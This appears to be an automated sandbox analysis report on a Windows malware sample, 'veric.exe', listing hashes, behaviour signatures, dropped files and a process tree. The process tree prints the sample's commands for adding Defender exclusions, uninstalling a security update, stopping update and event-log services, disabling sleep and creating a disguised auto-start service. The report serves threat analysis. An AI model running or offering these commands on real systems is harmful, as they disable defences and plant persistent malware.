Analysis

  • max time kernel
    35s
  • max time network
    35s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-08-2024 21:47

General

  • Target

    veric.exe

  • Size

    2.6MB

  • MD5

    176b86bbb7693bd378649b39546ff0bb

  • SHA1

    647a041ffdd8506010964fc4390ca3f70f7d9863

  • SHA256

    4453e91c72e767fd579d7a8f5e739daba5316d683f3f7265e4ccf7fd9dad2e43

  • SHA512

    6cc39a95ad32c1a783f67e4fae2a8462e9ec1d24e644a13f49bc7a8c9c132173e29f12a10aff6f64b44a6fb57ee90da8d60768a72f2788cac07029378670025b

  • SSDEEP

    49152:HTsaMB9MEEvImH/Ht0nspEutB8ii70cpe6L06Be4LM:HwxB9MEEv5/Ht0YEQFU0+ed684I

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Power Settings 1 TTPs 8 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\veric.exe
    "C:\Users\Admin\AppData\Local\Temp\veric.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2304
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1388
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3340
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:2400
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:5008
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:1468
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:4404
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:4440
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:3088
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3344
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:2968
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:3716
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Power Settings
        • Suspicious use of AdjustPrivilegeToken
        PID:4336
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "GoogleUpdateTaskMachineQC"
        2⤵
        • Launches sc.exe
        PID:4448
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "GoogleUpdateTaskMachineQC" binpath= "C:\ProgramData\Google\Chrome\updater.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:2828
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:4824
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "GoogleUpdateTaskMachineQC"
        2⤵
        • Launches sc.exe
        PID:2420
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4120,i,1729213506309163284,12809566808978835441,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:8
      1⤵
        PID:1664
      • C:\ProgramData\Google\Chrome\updater.exe
        C:\ProgramData\Google\Chrome\updater.exe
        1⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1872
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:944
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3124
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:3064
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:2864
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:764
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:4632
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:680
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:4452
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1484
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:2716
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:1152
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Power Settings
            • Suspicious use of AdjustPrivilegeToken
            PID:4448
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:3616

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\ProgramData\Google\Chrome\updater.exe

            Filesize

            2.6MB

            MD5

            176b86bbb7693bd378649b39546ff0bb

            SHA1

            647a041ffdd8506010964fc4390ca3f70f7d9863

            SHA256

            4453e91c72e767fd579d7a8f5e739daba5316d683f3f7265e4ccf7fd9dad2e43

            SHA512

            6cc39a95ad32c1a783f67e4fae2a8462e9ec1d24e644a13f49bc7a8c9c132173e29f12a10aff6f64b44a6fb57ee90da8d60768a72f2788cac07029378670025b

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_prs0sg3k.vs5.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Windows\system32\drivers\etc\hosts

            Filesize

            3KB

            MD5

            00930b40cba79465b7a38ed0449d1449

            SHA1

            4b25a89ee28b20ba162f23772ddaf017669092a5

            SHA256

            eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01

            SHA512

            cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62

          • memory/944-46-0x00000206A4580000-0x00000206A458A000-memory.dmp

            Filesize

            40KB

          • memory/944-43-0x00000206A45A0000-0x00000206A45BA000-memory.dmp

            Filesize

            104KB

          • memory/944-45-0x00000206A1EF0000-0x00000206A1EF6000-memory.dmp

            Filesize

            24KB

          • memory/944-44-0x00000206A1EC0000-0x00000206A1EC8000-memory.dmp

            Filesize

            32KB

          • memory/944-38-0x00000206A1E90000-0x00000206A1EAC000-memory.dmp

            Filesize

            112KB

          • memory/944-39-0x00000206A4380000-0x00000206A4435000-memory.dmp

            Filesize

            724KB

          • memory/944-40-0x00000206A1E80000-0x00000206A1E8A000-memory.dmp

            Filesize

            40KB

          • memory/944-41-0x00000206A1ED0000-0x00000206A1EEC000-memory.dmp

            Filesize

            112KB

          • memory/944-42-0x00000206A1EB0000-0x00000206A1EBA000-memory.dmp

            Filesize

            40KB

          • memory/1388-12-0x00007FFA2E4D0000-0x00007FFA2EF91000-memory.dmp

            Filesize

            10.8MB

          • memory/1388-11-0x00007FFA2E4D0000-0x00007FFA2EF91000-memory.dmp

            Filesize

            10.8MB

          • memory/1388-15-0x00007FFA2E4D0000-0x00007FFA2EF91000-memory.dmp

            Filesize

            10.8MB

          • memory/1388-0-0x00007FFA2E4D3000-0x00007FFA2E4D5000-memory.dmp

            Filesize

            8KB

          • memory/1388-10-0x000001A0F91A0000-0x000001A0F91C2000-memory.dmp

            Filesize

            136KB

          • memory/3616-55-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3616-57-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3616-54-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3616-53-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3616-51-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB

          • memory/3616-52-0x0000000140000000-0x000000014000E000-memory.dmp

            Filesize

            56KB